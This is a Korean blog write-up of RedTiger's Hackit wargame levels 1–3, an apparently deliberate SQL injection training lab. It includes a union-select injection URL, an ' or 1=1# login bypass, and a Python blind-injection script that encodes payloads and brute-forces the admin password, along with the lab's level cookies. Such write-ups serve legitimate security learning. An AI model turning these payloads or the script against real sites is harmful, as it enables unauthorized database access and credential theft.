webhacking/sql, sql injection

RedTigers Hackit 1~3

qkqhxla1 2015. 1. 8. 13:42

http://redtiger.labs.overthewire.org


level1

숫자가 있는데 누르면 ?cat=1로 전달된다. 뒤에 %23으로 막아봐도 제대로 나오는걸 보면 여기다가 하면 되겠다. union select 1,2,3,4까지 입력했을때 3,4가 출력된다. 테이블 이블이 level1_users라고 하고, 입력창이 username,password로 써있으니 이걸로 컬럼 네임을 추측해서 대입해보면 된다.

http://redtiger.labs.overthewire.org/level1.php?cat=1%20union%20select%201,2,username,password%20from%20level1_users%23



level2

은근히 쉬울 듯 하면서 조금 해맸는데; 전달되는 인자가 없어 그냥 아이디,비밀번호창에 인젝션을 해봤다. id,pw 둘다 ' or 1=1#를 입력하니 통과되었는데.... 희한하게 아이디에만 ' or 1=1#를 입력하면 통과가 안되고, pw에 ' or 1=1#입력을 했을때는 id에 뭘 입력하던 통과된다. id에서만 안전한 함수로 escape를 해주는 것 같다.



level3

몇일 해맴........ 에러 발생시키는게 힌트라고 나와있는데 에러 발생은 ?usr=변수에 배열로 ?usr[]=

전달함으로서 에러를 발생시켰다. 그러면 http://redtiger.labs.overthewire.org/urlcrypt.inc 이 주소가 나오는데, 이 주소에는 그냥 encrypt함수와 decrypt함수밖에 없다. 테스트결과 Admin을 encrypt시키면 admin링크를 클릭하면 나오는 usr=MTI5MTY0MTczMTY5MTc0의 usr값이 Admin을 encrypt값이다. 여기서 뭐 어쩌란거지.... 하고 헤매다가 받은 usr값을 decrypt시켜서 쿼리를 실행시키는거라고 추측했다. 그래서 ' or username='TheCow'#처럼 TheCow의 결과값이 출력되게끔 쿼리를 짠 뒤 encrypt한 값인 MjMxMjI0MTc1MTc4MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTQ4MTY4MTY1MTMxMTc1MTgzMjMxMjI3 를 전송해보았더니 TheCow페이지가 출력되는걸 보아 생각한게 맞았음을 알수있었다. 블라인드 인젝션을 위해 코드를 짰다.

' or username=if((select ascii(mid(password,1,1))=32~127 from level3_users where username='Admin'),'Admin','TheCow')#

한바퀴만 시험삼아서 돌려보니 첫글자는 116(t)라고 나온다. 한바퀴가 잘 돌아가는걸 확인했으면 대충 비밀번호 길이를 50글자 이하라고 가정하고 돌린다. 정확하고 빠르게 하려면 인젝션을 통해 password길이를 구하고, lpad,bin등을 통한 최적화를 해야겠지만 귀찮아서 안함...


# -*- encoding: cp949 -*-
"""	function encrypt($str)
	{
		$cryptedstr = "";
		for ($i =0; $i < strlen($str); $i++)
		{
			$temp = ord(substr($str,$i,1)) ^ 192;
			
			while(strlen($temp)<3)
			{
				$temp = "0".$temp;
			}
			$cryptedstr .= $temp. "";
		}
		return base64_encode($cryptedstr);
	}
"""
import base64,urllib2
def encrypt(raw):
    cryptedstr = ''
    for i in range(len(raw)):
        temp = str(ord(raw[i:i+1]) ^ 192)
        while(len(temp)<3):
            temp = '0'+temp
        cryptedstr += temp+''
    return base64.b64encode(cryptedstr)
answer = ''
for j in range(1,50):
    for i in range(32,128):
        print i,answer
        usr = encrypt("' or username=if((select ascii(mid(password,"+str(j)+",1))="+str(i)+" from level3_users where username='Admin'),'Admin','TheCow')#")
        req = urllib2.Request('http://redtiger.labs.overthewire.org/level3.php?usr='+usr)
        req.add_header('cookie','level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese')
        page = urllib2.urlopen(req).read()
        if page.find('admin@site.de') != -1:
            answer += chr(i)
            break


'webhacking > sql, sql injection' 카테고리의 다른 글

RedTigers Hackit 6  (0) 2015.01.09
RedTigers Hackit 4~5  (0) 2015.01.08
chall.tasteless.se Too Easy  (0) 2014.12.24
chall.tasteless.se Infiltration  (0) 2014.12.24
webhacking.kr 27, 29  (0) 2014.11.30